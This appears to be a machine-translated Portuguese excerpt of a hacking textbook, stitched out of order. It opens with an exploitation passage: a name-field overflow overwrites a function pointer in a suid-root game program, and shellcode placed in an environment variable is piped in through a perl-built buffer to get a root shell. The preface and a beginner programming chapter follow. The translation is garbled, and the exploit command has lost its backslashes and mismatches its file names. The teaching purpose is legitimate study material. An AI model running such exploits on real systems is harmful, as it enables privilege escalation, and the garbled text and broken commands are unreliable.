AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</p><p>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAp?]</p><p>[Você tem 140 créditos] -></p><p>[DEBUG] ponteiro do jogo_actual @ 0x08048fde</p><p>####### Escolha um número ######</p><p>Este jogo custa 10 créditos para jogar. Basta escolher um</p><p>número entre 1 e 20, e se você escolher o número vencedor,</p><p>você ganhará o jackpot de 100 créditos!</p><p>10 créditos foram deduzidos de sua conta.</p><p>Escolha um número entre 1 e 20: O número vencedor é 1</p><p>Desculpe, você não ganhou.</p><p>Você agora tem 130 créditos</p><p>Você gostaria de jogar novamente? (y/n) -=[ Menu do Jogo de</p><p>Oportunidades ]=- 1 - Jogue o jogo Escolha um número</p><p>2 - Jogue o jogo No Match Dealer</p><p>3 - Jogue o jogo Find the Ace</p><p>4 - Veja a alta pontuação atual</p><p>5 - Mude seu nome de usuário</p><p>Exploração 167</p><p>6 - Redefinir sua conta em 100 créditos</p><p>7 - Sair</p><p>[Nome: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</p><p>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAp?]</p><p>[Você tem 130 créditos] -></p><p>Alterar o nome do usuário</p><p>Digite seu novo nome: Seu nome foi mudado.</p><p>-=[ Menu do Jogo de Oportunidades ]=-</p><p>1 - Jogue o jogo Pick a Number</p><p>2 - Jogue o jogo No Match Dealer</p><p>3 - Jogue o jogo Find the Ace</p><p>4 - Veja a alta pontuação atual</p><p>5 - Mude seu nome de usuário</p><p>6 - Redefinir sua conta em 100 créditos</p><p>7 - Sair</p><p>[Nome: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</p><p>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAp?]</p><p>[Você tem 130 créditos] -></p><p>[DEBUG] ponteiro do jogo_actual @ 0x08048d70</p><p>*++*+*+*+*++* JACKPOT *++*+*+*+*</p><p>Você ganhou o jackpot de 100 créditos!</p><p>Você agora tem 230 créditos</p><p>Você gostaria de jogar novamente? (y/n)</p><p>[DEBUG] ponteiro do jogo_corrente @</p><p>0x08048d70</p><p>*++*+*+*+*++* JACKPOT *++*+*+*+*</p><p>Você ganhou o jackpot de 100 créditos!</p><p>Você agora tem 330 créditos</p><p>Você gostaria de jogar novamente? (y/n)</p><p>[DEBUG] ponteiro do jogo_corrente @</p><p>0x08048d70</p><p>*++*+*+*+*++* JACKPOT *++*+*+*+*</p><p>Você ganhou o jackpot de 100 créditos!</p><p>Você agora tem 430 créditos</p><p>Você gostaria de jogar novamente? (y/n)</p><p>[DEBUG] ponteiro do jogo_corrente @</p><p>0x08048d70</p><p>*++*+*+*+*++* JACKPOT *++*+*+*+*</p><p>Você ganhou o jackpot de 100 créditos!</p><p>Você agora tem 530 créditos</p><p>Você gostaria de jogar novamente? (y/n)</p><p>[DEBUG] ponteiro do jogo_corrente @</p><p>0x08048d70</p><p>*++*+*+*+*++* JACKPOT *++*+*+*+*</p><p>Você ganhou o jackpot de 100 créditos!</p><p>Você agora tem 630 créditos</p><p>Você gostaria de jogar novamente? (y/n)</p><p>[DEBUG] ponteiro do jogo_corrente @</p><p>0x08048d70</p><p>*++*+*+*+*++* JACKPOT *++*+*+*+*</p><p>168 0x</p><p>3 0 0</p><p>Você ganhou o jackpot de 100 créditos!</p><p>Exploração 169</p><p>Você agora tem 730 créditos</p><p>Você gostaria de jogar novamente? (y/n)</p><p>[DEBUG] ponteiro do jogo_corrente @</p><p>0x08048d70</p><p>*++*+*+*+*++* JACKPOT *++*+*+*+*</p><p>Você ganhou o jackpot de 100 créditos!</p><p>Você agora tem 830 créditos</p><p>Você gostaria de jogar novamente? (y/n)</p><p>[DEBUG] ponteiro do jogo_corrente @</p><p>0x08048d70</p><p>*++*+*+*+*++* JACKPOT *++*+*+*+*</p><p>Você ganhou o jackpot de 100 créditos!</p><p>Você agora tem 930 créditos</p><p>Você gostaria de jogar novamente? (y/n)</p><p>[DEBUG] ponteiro do jogo_corrente @</p><p>0x08048d70</p><p>*++*+*+*+*++* JACKPOT *++*+*+*+*</p><p>Você ganhou o jackpot de 100 créditos!</p><p>Você agora tem 1030 créditos</p><p>Você gostaria de jogar novamente? (y/n)</p><p>[DEBUG] ponteiro do jogo_corrente @</p><p>0x08048d70</p><p>*++*+*+*+*++* JACKPOT *++*+*+*+*</p><p>Você ganhou o jackpot de 100 créditos!</p><p>Você agora tem 1130 créditos</p><p>Você gostaria de jogar novamente? (y/n)</p><p>[DEBUG] ponteiro do jogo_corrente @</p><p>0x08048d70</p><p>*++*+*+*+*++* JACKPOT *++*+*+*+*</p><p>Você ganhou o jackpot de 100 créditos!</p><p>Você agora tem 1230 créditos</p><p>Você gostaria de jogar novamente? (y/n) -=[ Menu do Jogo de</p><p>Oportunidades ]=- 1 - Jogue o jogo Escolha um número</p><p>2 - Jogue o jogo No Match Dealer</p><p>3 - Jogue o jogo Find the Ace</p><p>4 - Veja a alta pontuação atual</p><p>5 - Mude seu nome de usuário</p><p>6 - Redefinir sua conta em 100 créditos</p><p>7 - Sair</p><p>[Nome: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</p><p>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAp?]</p><p>[Você tem 1230 créditos] -></p><p>Alterar nome do usuário</p><p>Digite seu novo nome: Seu nome foi mudado.</p><p>-=[ Menu do Jogo de Oportunidades ]=-</p><p>1 - Jogue o jogo Pick a Number</p><p>2 - Jogue o jogo No Match Dealer</p><p>3 - Jogue o jogo Find the Ace</p><p>4 - Veja a alta pontuação atual</p><p>170 0x</p><p>3 0 0</p><p>5 - Mude seu nome de usuário</p><p>6 - Redefinir sua conta em 100 créditos</p><p>7 - Sair</p><p>Exploração 171</p><p>[Nome: Jon Erickson]</p><p>[Você tem 1230 créditos] -></p><p>Obrigado por jogar! Tchau.</p><p>reader@hacking:~/booksrc $</p><p>Como você já deve ter notado, este programa também corre suid root.</p><p>Isto significa que o shellcode pode ser usado para fazer muito mais do que</p><p>ganhar créditos gratuitos. Como no caso do overflow baseado em pilha, o</p><p>shellcode pode ser armazenado em uma variável de ambiente. Depois de</p><p>construir um buffer de exploração adequado, o buffer é canalizado para a</p><p>entrada padrão do jogo_of_chance. Observe o argumento de traço seguindo</p><p>o buffer de exploração no comando cat. Isto diz ao programa cat para enviar</p><p>a entrada padrão após o buffer de exploração, retornando o controle da</p><p>entrada. Mesmo que o shell da raiz não exiba seu prompt, ele ainda é</p><p>acessível e ainda aumenta os privilégios.</p><p>reader@hacking:~/booksrc $ export SHELLCODE=$(cat ./shellcode.bin)</p><p>reader@hacking:~/booksrc $ ./getenvaddr SHELLCODE ./game_of_chance</p><p>SHELLCODE estará em 0xbffff9e0</p><p>reader@hacking:~/booksrc $ perl -e 'print "1\n7nn5\n" . "A "x100 . "xf9xffxbffn" .</p><p>"1\n"' > explor_buffer</p><p>reader@hacking:~/booksrc $ cat exploit_buffer - | ./game_of_chance</p><p>-=[ Menu do Jogo de Oportunidades ]=-</p><p>1 - Jogue o jogo Pick a Number</p><p>2 - Jogue o jogo No Match Dealer</p><p>3 - Jogue o jogo Find the Ace</p><p>4 - Veja a alta pontuação atual</p><p>5 - Mude seu nome de usuário</p><p>6 - Redefinir sua conta em 100 créditos</p><p>7 - Sair</p><p>[Nome: Jon Erickson]</p><p>[Você tem 70 créditos] -</p><p>></p><p>[DEBUG] ponteiro do jogo_actual @ 0x08048fde</p><p>####### Escolha um número ######</p><p>Este jogo custa 10 créditos para jogar. Basta escolher um</p><p>número entre 1 e 20, e se você escolher o número vencedor,</p><p>você ganhará o jackpot de 100 créditos!</p><p>10 créditos foram deduzidos de sua conta.</p><p>Escolha um número entre 1 e 20: O número vencedor é 2</p><p>Desculpe, você não ganhou.</p><p>Você agora tem 60 créditos</p><p>Você gostaria de jogar novamente? (y/n) -=[ Menu do Jogo de</p><p>Oportunidades ]=- 1 - Jogue o jogo Escolha um número</p><p>2 - Jogue o jogo No Match Dealer</p><p>3 - Jogue o jogo Find the Ace</p><p>4 - Veja a alta pontuação atual</p><p>5 - Mude seu nome de usuário</p><p>6 - Redefinir sua conta em 100 créditos</p><p>172 0x</p><p>3 0 0</p><p>7 - Sair</p><p>[Nome: Jon Erickson]</p><p>[Você tem 60 créditos] -></p><p>Alterar nome do usuário</p><p>Digite seu novo nome: Seu nome foi mudado.</p><p>-=[ Menu do Jogo de Oportunidades ]=-</p><p>1 - Jogue o jogo Pick a Number</p><p>2 - Jogue o jogo No Match Dealer</p><p>3 - Jogue o jogo Find the Ace</p><p>4 - Veja a alta pontuação atual</p><p>5 - Mude seu nome de usuário</p><p>6 - Redefinir sua conta em 100 créditos</p><p>7 - Sair</p><p>[Nome: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</p><p>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAp?]</p><p>[Você tem 60 créditos] -></p><p>[DEBUG] ponteiro</p>
<p>Assim</p><p>como a rápida gazela se adaptou de ser perseguida pela chita, e a chita se</p><p>tornou ainda mais rápida de perseguir a gazela, a competição entre hackers</p><p>proporciona aos usuários de computador uma segurança melhor e mais</p><p>forte, assim como técnicas de ataque mais complexas e sofisticadas. A</p><p>introdução e progressão de sistemas de detecção de intrusão (IDSs) é um</p><p>excelente exemplo deste processo co-evolutivo. Os hackers defensores criam</p><p>IDSs para adicionar a seu arsenal, enquanto os hackers atacantes</p><p>desenvolvem técnicas de invasão IDS, que são eventualmente compensadas</p><p>em produtos IDS maiores e melhores. O resultado líquido desta interação é</p><p>positivo, pois produz pessoas mais inteligentes, maior segurança, software</p><p>mais estável, técnicas inventivas de resolução de problemas e até mesmo</p><p>uma nova economia.</p><p>A intenção deste livro é ensiná-lo sobre o verdadeiro espírito do</p><p>hacking.</p><p>Vamos analisar várias técnicas de hacker, do passado ao presente,</p><p>dissecando-as para aprender como e por que elas funcionam. Incluído neste</p><p>livro está um LiveCD inicializável contendo todo o código fonte utilizado aqui,</p><p>bem como um ambiente Linux pré-configurado. A exploração e a inovação</p><p>são fundamentais para a arte do hacking, por isso este CD permitirá que você</p><p>acompanhe e experimente por conta própria. O único requisito é um</p><p>processador x86, que é usado por todas as máquinas Microsoft Windows e os</p><p>computadores Macintosh mais recentes - basta inserir o CD e reiniciar. Este</p><p>ambiente Linux alternativo não perturbará seu sistema operacional existente,</p><p>portanto, quando terminar, basta reiniciar novamente e remover o CD. Desta</p><p>forma, você ganhará uma compreensão e apreciação prática do hacking que</p><p>pode inspirá-lo a melhorar as técnicas existentes ou mesmo a inventar novas</p><p>técnicas. Esperamos que este livro estimule a curiosa natureza hacker em</p><p>você e o leve a contribuir de alguma forma para a arte do hacking,</p><p>independentemente do lado da cerca que você escolher para estar.</p><p>4 0x 1 0 0</p><p>0x200</p><p>PR O G R A M ING</p><p>Hacker é um termo tanto para aqueles que escrevem</p><p>código como para aqueles que o exploram. Mesmo que</p><p>estes dois grupos de hackers tenham objetivos finais</p><p>diferentes, ambos os grupos utilizam técnicas similares</p><p>de solução de problemas. Como a compreensão da</p><p>programação ajuda aqueles que exploram, e uma</p><p>situação de subexploração ajuda aqueles que</p><p>programam, muitos</p><p>os hackers fazem ambos. Existem hacks interessantes encontrados tanto nas</p><p>técnicas utilizadas para escrever códigos elegantes como nas técnicas</p><p>utilizadas para explorar programas. O hacking é realmente apenas o ato de</p><p>encontrar uma solução inteligente e contraintuitiva para um problema.</p><p>Os hacks encontrados em explorações de programas geralmente usam as</p><p>regras do computador para contornar a segurança de maneiras nunca</p><p>pretendidas. Os hacks de programação são similares na medida em que</p><p>também utilizam as regras do computador de maneiras novas e inventivas,</p><p>mas o objetivo final é eficiência ou código fonte menor, não necessariamente</p><p>um compromisso de segurança. Na verdade, há um número infinito de</p><p>programas que</p><p>6 0 x 2</p><p>0 0</p><p>podem ser escritas para realizar qualquer tarefa, mas a maioria destas</p><p>soluções são desnecessariamente grandes, complexas e descuidadas. As</p><p>poucas soluções que restam são pequenas, eficientes e limpas. Diz-se que os</p><p>programas que têm estas qualidades têm elegância, e as soluções</p><p>inteligentes e inventivas que tendem a levar a esta eficiência são chamadas</p><p>de hacks. Os hackers de ambos os lados da programação apreciam tanto a</p><p>beleza do código elegante quanto a engenhosidade dos hacks inteligentes.</p><p>No mundo dos negócios, dá-se mais importância à produção de códigos</p><p>func- tionais do que à obtenção de hacks inteligentes e elegância. Devido ao</p><p>tremendo crescimento exponencial do poder computacional e da memória,</p><p>gastar mais cinco horas para criar uma peça de código um pouco mais rápida</p><p>e eficiente em termos de memória não faz sentido comercial quando se lida</p><p>com computadores modernos que têm gigahertz de ciclos de processamento</p><p>e gigabytes de memória. Enquanto as otimizações de tempo e memória</p><p>passam sem aviso prévio por todos os usuários, exceto os mais sofisticados,</p><p>uma nova funcionalidade é comercializável. Quando o resultado final é</p><p>dinheiro, gastar tempo em hacks inteligentes para otimização simplesmente</p><p>não faz sentido.</p><p>A verdadeira apreciação da elegância da programação é deixada para os</p><p>hackers: os amadores de computadores cujo objetivo final não é obter lucro,</p><p>mas espremer todas as funcionalidades possíveis de seus antigos Commodore</p><p>64, explorar escritores que precisam escrever pequenos e incríveis pedaços</p><p>de código para escapar de rachaduras de segurança estreitas, e qualquer</p><p>outro que aprecie a busca e o desafio de encontrar a melhor solução possível.</p><p>Estas são as pessoas que se entusiasmam com a programação e realmente</p><p>apreciam a beleza de um elegante pedaço de código ou a engenhosidade de</p><p>um hack inteligente. Como a compreensão da programação é um pré-</p><p>requisito para entender como os programas podem ser explorados, a</p><p>programação é um ponto de partida natural.</p><p>0x210 O que é Programação?</p><p>A programação é um conceito muito natural e intuitivo. Um programa nada</p><p>mais é do que uma série de afirmações escritas em uma linguagem específica.</p><p>Os programas estão em toda parte, e até mesmo os tecnófobos do mundo</p><p>usam programas todos os dias. Instruções de direção, receitas de culinária,</p><p>jogos de futebol e DNA são todos os tipos de programas. Um programa típico</p><p>para direções de direção pode parecer algo parecido com isto:</p><p>Comece pela Main Street em direção ao leste. Continue na Main Street até ver</p><p>uma igreja à sua direita. Se a rua estiver bloqueada por causa da construção,</p><p>vire à direita na Rua 15, vire à esquerda na Rua Pine, e depois vire à direita na</p><p>Rua 16. Caso contrário, você pode simplesmente continuar e virar à direita na</p><p>16th Street. Continue na 16th Street, e vire à esquerda na Destination Road.</p><p>Siga em frente pela Destination Road por 5 milhas, e então você verá a casa à</p><p>direita. O endereço é 743 Destination Road.</p><p>Qualquer pessoa que conheça o inglês pode entender e seguir estas</p><p>instruções de condução, já que elas estão escritas em inglês. É verdade que</p><p>não são eloqüentes, mas cada instrução é clara e fácil de entender, pelo</p><p>Programação 7</p><p>menos para alguém que lê inglês.</p><p>8 0 x 2</p><p>0 0</p><p>Mas um computador não entende inglês nativamente; ele só entende a</p><p>linguagem da máquina. Para instruir um computador a fazer algo, as</p><p>instruções devem ser escritas em seu idioma. Entretanto, a linguagem da</p><p>máquina é arcana e difícil de trabalhar - consiste de bits e bytes em bruto, e</p><p>difere de arquitetura para arquitetura. Para escrever um programa em</p><p>linguagem de máquina para um processador Intel x86, você teria que</p><p>descobrir o valor associado a cada instrução, como cada instrução interage e</p><p>uma infinidade de detalhes de baixo nível. Uma programação como esta é</p><p>trabalhosa e incômoda, e certamente não é intuitiva.</p><p>O que é necessário para superar a complicação da linguagem da máquina</p><p>de escrever é um tradutor. Um assembler é uma forma de tradutor de</p><p>linguagem de máquina - é um programa que traduz a linguagem de</p><p>montagem em código legível por máquina. A linguagem assembly é menos</p><p>críptica que a linguagem de máquina, pois usa nomes para as diferentes</p><p>instruções e variáveis, ao invés de usar apenas números. Entretanto, a</p><p>linguagem de montagem ainda está longe de ser intuitiva. Os nomes das</p><p>instruções são muito esotéricos, e a linguagem é específica da arquitetura.</p><p>Assim como a linguagem de máquina para processadores Intel x86 é</p><p>diferente da linguagem de máquina para processadores Sparc, a linguagem</p><p>de montagem x86 é diferente da linguagem de montagem Sparc. Qualquer</p><p>programa escrito usando linguagem de montagem para a arquitetura de um</p><p>processador não funcionará na arquitetura de outro processador. Se um</p><p>programa é escrito em linguagem</p>
<p>assembly x86, ele deve ser reescrito para</p><p>ser executado na arquitetura Sparc. Além disso, para escrever um programa</p><p>eficaz na linguagem assembly, você ainda deve conhecer muitos detalhes de</p><p>baixo nível da arquitetura do processador para o qual você está escrevendo.</p><p>Estes problemas podem ser atenuados por mais uma forma de tradutor</p><p>chamado compilador. Um compilador converte uma linguagem de alto nível</p><p>em linguagem de máquina. Os idiomas de alto nível são muito mais intuitivos</p><p>do que a linguagem de montagem e podem ser convertidos em muitos tipos</p><p>diferentes de linguagem de máquina para diferentes arquiteturas de</p><p>processadores. Isto significa que se um programa é escrito em uma linguagem</p><p>de alto nível, o programa só precisa ser escrito uma vez; o mesmo código de</p><p>programa pode ser compilado em linguagem de máquina para várias</p><p>arquiteturas específicas. C, C++, e Fortran são todos exemplos de linguagens</p><p>de alto nível. Um programa escrito em um idioma de alto nível é muito mais</p><p>legível e semelhante ao inglês do que linguagem de montagem ou linguagem</p><p>de máquina, mas ainda assim deve seguir regras muito rígidas sobre como as</p><p>instruções são redigidas, ou o com- piler não será capaz de entendê-las.</p><p>0x220 Pseudo- código</p><p>Os programadores têm ainda outra forma de linguagem de programação</p><p>chamada pseudo-código. O Pseudo-código é simplesmente inglês arranjado</p><p>com uma estrutura geral semelhante a uma linguagem de alto nível. Não é</p><p>compreendido por compiladores, assemblers ou qualquer computador, mas é</p><p>uma maneira útil para um programador organizar instruções. Pseudo-código</p><p>não é bem definido; na verdade, a maioria das pessoas escreve pseudo-</p><p>Programação 9</p><p>código um pouco diferente. É uma espécie de elo nebuloso entre o inglês e</p><p>linguagens de programação de alto nível como C. Pseudo-código faz uma</p><p>excelente introdução emprestada aos conceitos comuns de programação</p><p>universal.</p><p>10 0 x 2</p><p>0 0</p><p>0x230 Controle Estruturas</p><p>Sem estruturas de controle, um programa seria apenas uma série de instruções</p><p>executadas em ordem seqüencial. Isto é bom para programas muito simples, mas a</p><p>maioria dos programas, como o exemplo das direções de direção, não são tão</p><p>simples assim. As instruções de direção incluíram declarações como, Continue na rua</p><p>principal até ver uma igreja à sua direita e Se a rua estiver bloqueada por causa da</p><p>construção ............................................................................................................Estes</p><p>As declarações são conhecidas como estruturas de controle, e mudam o fluxo de</p><p>execução do programa de uma simples ordem sequencial para um fluxo mais</p><p>complexo e mais útil.</p><p>0x231 If-Then- Senão</p><p>No caso de nossas indicações de direção, a Rua Principal poderia estar em</p><p>construção. Se for, um conjunto especial de instruções precisa resolver essa</p><p>situação. Caso contrário, o conjunto original de instruções deve ser seguido.</p><p>Estes tipos de casos especiais podem ser contabilizados em um programa</p><p>com uma das estruturas de controle mais naturais: a estrutura if-then-else.</p><p>Em geral, parece algo parecido com isto:</p><p>Se (condição) então</p><p>{</p><p>Conjunto de instruções a serem executadas se a condição for cumprida;</p><p>}</p><p>Senão</p><p>{</p><p>Conjunto de instruções a serem executadas se a condição não for</p><p>atendida;</p><p>}</p><p>Para este livro, será utilizado um pseudo-código tipo C, de modo que</p><p>cada instrução terminará com um ponto-e-vírgula, e os conjuntos de</p><p>instruções serão agrupados com suportes e recuos. A estrutura do pseudo-</p><p>código if-then-else das instruções de condução pré-cedência pode parecer</p><p>algo parecido com isto:</p><p>Dirija pela rua principal;</p><p>Se (rua está</p><p>bloqueada)</p><p>{</p><p>Vire à direita na Rua 15; Vire</p><p>à esquerda na Rua Pine;</p><p>Vire à direita na Rua 16;</p><p>}</p><p>Senão</p><p>{</p><p>Vire à direita na 16th Street;</p><p>}</p><p>Cada instrução está em sua própria linha, e os vários conjuntos de</p><p>Programação 11</p><p>instruções condicionais estão agrupados entre suportes de encaracolamento</p><p>e recuados para facilitar a leitura. Em C e em muitas outras linguagens de</p><p>programação, a palavra-chave então está implícita e, portanto, omitida,</p><p>portanto, também foi omitida no pseudo-código anterior.</p><p>12 0 x 2</p><p>0 0</p><p>Naturalmente, outros idiomas exigem a palavra-chave em sua sintaxe -</p><p>BASIC, Fortran, e até mesmo Pascal, por exemplo. Estes tipos de diferenças</p><p>sintáticas nas linguagens de programação são apenas superficiais; a</p><p>estrutura subjacente ainda é a mesma. Quando um programador entende</p><p>os conceitos que estas linguagens estão tentando transmitir, aprender as</p><p>várias variantes sintáticas é bastante trivial. Como o C será usado nas</p><p>seções posteriores, o pseudo-código usado neste livro seguirá uma sintaxe</p><p>semelhante ao C, mas lembre-se que o pseudo-código pode assumir muitas</p><p>formas.</p><p>Outra regra comum da sintaxe tipo C é quando um conjunto de</p><p>instruções delimitado por suportes de encaracolamento consiste de apenas</p><p>uma instrução, os suportes de encaracolamento são opcionais. Por uma</p><p>questão de legibilidade, ainda é uma boa idéia indentar estas instruções, mas</p><p>não é sintaticamente necessário. As instruções de condução de antes podem</p><p>ser reescritas seguindo esta regra para produzir uma peça equivalente de</p><p>pseudo-código:</p><p>Dirija pela rua principal;</p><p>Se (rua está</p><p>bloqueada)</p><p>{</p><p>Vire à direita na Rua 15; Vire</p><p>à esquerda na Rua Pine;</p><p>Vire à direita na Rua 16;</p><p>}</p><p>Senão</p><p>Vire à direita na 16th Street;</p><p>Esta regra sobre conjuntos de instruções é válida para todas as</p><p>estruturas de controle mencionadas neste livro, e a própria regra pode ser</p><p>descrita em pseudo-código.</p><p>Se (há apenas uma instrução em um conjunto de instruções)</p><p>O uso de suportes de caracóis para agrupar as instruções é</p><p>opcional; Caso contrário</p><p>{</p><p>É necessário o uso de aparelho de costura encaracolado;</p><p>Uma vez que deve haver uma forma lógica de agrupar estas instruções;</p><p>}</p><p>Mesmo a própria descrição de uma sintaxe pode ser pensada como um</p><p>programa simples. Há variações de if-en-else, tais como declarações select/case,</p><p>mas a lógica ainda é basicamente a mesma: se isto acontecer faça estas coisas,</p><p>caso contrário faça estas outras coisas (que poderiam consistir em ainda mais</p><p>declarações if-en-else).</p><p>0x232 While/Until Loops</p><p>Outro conceito elementar de programação é a estrutura de controle while,</p><p>que é um tipo de loop. Um programador muitas vezes vai querer executar um</p><p>conjunto de instruções mais de uma vez. Um programa pode realizar esta</p><p>Programação 13</p><p>tarefa através de looping, mas requer um conjunto de condições que lhe diga</p><p>quando parar o looping,</p><p>14 0 x 2</p><p>0 0</p><p>para que não continue até o infinito. Um loop while diz para executar o</p><p>seguinte conjunto de instruções em um loop enquanto uma condição é</p><p>verdadeira. Um programa simples para um rato faminto poderia ser algo</p><p>parecido com isto:</p><p>Enquanto (você está com fome)</p><p>{</p><p>Encontre alguns</p><p>alimentos; Coma</p><p>os alimentos;</p><p>}</p><p>O conjunto de duas instruções seguindo a declaração while será repetido</p><p>enquanto o mouse ainda está com fome. A quantidade de comida que o</p><p>mouse encontra cada vez pode variar desde uma migalha minúscula até um</p><p>pão inteiro. Da mesma forma, o número de vezes que o conjunto de</p><p>instruções na declaração de While é executado muda dependendo da</p><p>quantidade de comida que o mouse encontra.</p><p>Outra variação no loop while é uma até loop, uma sintaxe que está</p><p>disponível na linguagem de programação Perl (C não usa esta sintaxe). Um</p><p>loop até é simplesmente um loop while com a declaração condicional</p><p>invertida. O mesmo programa do mouse usando um laço de até seria:</p><p>Até (você não está com fome)</p><p>{</p><p>Encontre alguns</p><p>alimentos; Coma</p><p>os alimentos;</p><p>}</p><p>Logicamente, qualquer declaração não semelhante a um loop pode ser</p><p>convertida em um loop de tempo. As instruções de condução de antes</p><p>continham a declaração Continue na Main Street até ver uma igreja à sua direita.</p><p>Isto pode ser facilmente transformado em um padrão enquanto em loop,</p><p>simplesmente invertendo a condição.</p><p>Enquanto (não há uma igreja à direita)</p><p>dirija pela rua principal;</p><p>0x233 Para Loops</p><p>Outra estrutura</p>
<p>de controle de looping é a de looping. Isto é geralmente</p><p>usado quando um programador quer fazer looping para um certo número de</p><p>iterações. A direção de condução Conduzir em linha reta pela estrada de destino</p><p>por 5 milhas pode ser convertida em um loop que se parece com isto:</p><p>Para (5 iterações)</p><p>Dirija em linha reta por 1 milha;</p><p>Na realidade, um loop for loop é apenas um loop while com um</p><p>Programação 15</p><p>contador. O mesmo estado- ment pode ser escrito como tal:</p><p>Ajuste o contador para 0;</p><p>Enquanto (o contador é inferior a 5)</p><p>16 0 x 2</p><p>0 0</p><p>{</p><p>Dirija em linha reta por 1</p><p>milha; Acrescente 1 ao</p><p>balcão;</p><p>}</p><p>A sintaxe do pseudo-código C de um para loop torna isto ainda mais</p><p>aparente:</p><p>Para (i=0; i<5; i++)</p><p>Dirija em linha reta por 1 milha;</p><p>Neste caso, o contador é chamado de i, e o de declaração é dividido em três</p><p>seções, separadas por ponto-e-vírgula. A primeira seção declara o contador e o</p><p>fixa em seu valor inicial, neste caso 0. A segunda seção é como uma declaração</p><p>de tempo usando o contador: Enquanto o contador atende a esta condição,</p><p>continue fazendo looping. A terceira e última seção descreve que ação deve ser</p><p>tomada sobre o contador durante cada iteração. Neste caso, i++ é uma forma</p><p>abreviada de dizer: Acrescente 1 ao contador chamado i.</p><p>Usando todas as estruturas de controle, as direções de direção da</p><p>página 6 podem ser convertidas em um pseudo-código tipo C que se parece</p><p>com isto:</p><p>Começar a ir para o Leste na Main Street;</p><p>Enquanto (não há uma igreja à direita)</p><p>dirija pela rua principal;</p><p>Se (rua está bloqueada)</p><p>{</p><p>Vire à direita na Rua 15; Vire</p><p>à esquerda na Rua Pine;</p><p>Vire à direita na Rua 16;</p><p>}</p><p>Senão</p><p>Vire à direita na 16th</p><p>Street; Vire à esquerda na</p><p>Destination Road; For (i=0;</p><p>i<5; i++)</p><p>Dirija em linha reta por 1</p><p>milha; Pare na estrada de</p><p>destino 743;</p><p>0x240 Programação mais fundamental Conceitos</p><p>Nas seções seguintes, serão introduzidos conceitos de programação mais</p><p>universais. Estes conceitos são utilizados em muitas linguagens de</p><p>programação, com algumas diferenças sintáticas. Ao introduzir estes</p><p>conceitos, irei integrá-los em exemplos de pseudo-códigos, usando uma</p><p>sintaxe semelhante à do C. Ao final, o pseudo-código deverá ser muito</p><p>semelhante ao código C.</p><p>0x241 Variáveis</p><p>Programação 17</p><p>O contador usado no loop é na verdade um tipo de variável. Uma variável</p><p>pode ser simplesmente pensada como um objeto que contém dados que</p><p>podem ser alterados - daí o nome. Há também variáveis que não mudam,</p><p>que são aptas</p><p>18 0 x 2</p><p>0 0</p><p>chamadas constantes. Voltando ao exemplo de condução, a velocidade do</p><p>carro seria uma variável, enquanto a cor do carro seria uma constante. Em</p><p>pseudo- código, as variáveis são simples conceitos abstratos, mas em C (e em</p><p>muitos outros idiomas), as variáveis devem ser declaradas e dadas um tipo</p><p>antes de poderem ser usadas. Isto ocorre porque um programa em C será</p><p>eventualmente compilado em um programa ex-curtable. Como uma receita</p><p>de cozimento que lista todos os ingredientes necessários antes de dar as</p><p>instruções, as declarações de variáveis permitem que você faça as prep-</p><p>arações antes de entrar na carne do programa. Por fim, todas as variáveis são</p><p>armazenadas em memória em algum lugar, e suas declarações permitem que</p><p>o compilador organize esta memória de forma mais eficiente. No final,</p><p>porém, apesar de todas as declarações de tipo variável, tudo é apenas</p><p>memória.</p><p>Em C, cada variável recebe um tipo que descreve as informações que</p><p>devem ser armazenadas naquela variável. Alguns dos tipos mais comuns são</p><p>int (valores inteiros), float (valores de vírgula flutuante decimal), e char</p><p>(valores de um único char-atuador). As variáveis são declaradas</p><p>simplesmente usando estas palavras-chave antes de listar as variáveis, como</p><p>você pode ver abaixo.</p><p>int a, b;</p><p>float k;</p><p>char z;</p><p>As variáveis a e b são agora definidas como inteiros, k pode aceitar</p><p>valores de ponto flutuante (como 3,14), e z deve conter um valor de</p><p>caractere, como A ou w. As variáveis podem ser atribuídas valores quando</p><p>são declaradas ou a qualquer momento posterior, usando o = operador.</p><p>int a = 13, b;</p><p>float k;</p><p>char z = 'A';</p><p>k = 3.14;</p><p>z = 'w';</p><p>b = a + 5;</p><p>Após as seguintes instruções serem executadas, a variável a conterá o</p><p>valor 13, k conterá o número 3,14, z conterá o caracter w, e b conterá o valor</p><p>18, já que 13 mais 5 é igual a 18. As variáveis são simplesmente uma forma de</p><p>lembrar os valores; entretanto, com C, você deve primeiro declarar o tipo de</p><p>cada variável.</p><p>0x242 Aritmética Operadores</p><p>A afirmação b = a + 7 é um exemplo de um operador aritmético muito</p><p>simples. Em C, os seguintes símbolos são usados para várias operações</p><p>aritméticas.</p><p>As primeiras quatro operações devem parecer familiares. A redução do</p><p>módulo pode parecer um novo conceito, mas na verdade só está levando o</p><p>Programação 19</p><p>restante depois da divi- sião. Se a é 13, então 13 dividido por 5 é igual a 2,</p><p>com um restante de 3, o que significa que um % 5 = 3. Além disso, como as</p><p>variáveis a e b são números inteiros, o</p><p>20 0 x 2</p><p>0 0</p><p>A afirmação b = a / 5 resultará no valor de 2 sendo armazenado em b, já que</p><p>essa é a parte inteira do mesmo. As variáveis de ponto flutuante devem ser</p><p>usadas para reter a resposta mais correta de 2,6.</p><p>Operação Símbolo Exemplo</p><p>Acréscimo + b = a + 5</p><p>Subtração - b = a - 5</p><p>Multiplicação * b = a * 5</p><p>Divisão / b = a / 5</p><p>Redução modulo % b = a % 5</p><p>Para que um programa possa utilizar estes conceitos, é preciso falar sua</p><p>língua. A linguagem C também fornece várias formas de abreviação para estas</p><p>operações aritméticas. Uma delas foi mencionada anteriormente e é</p><p>comumente usada em 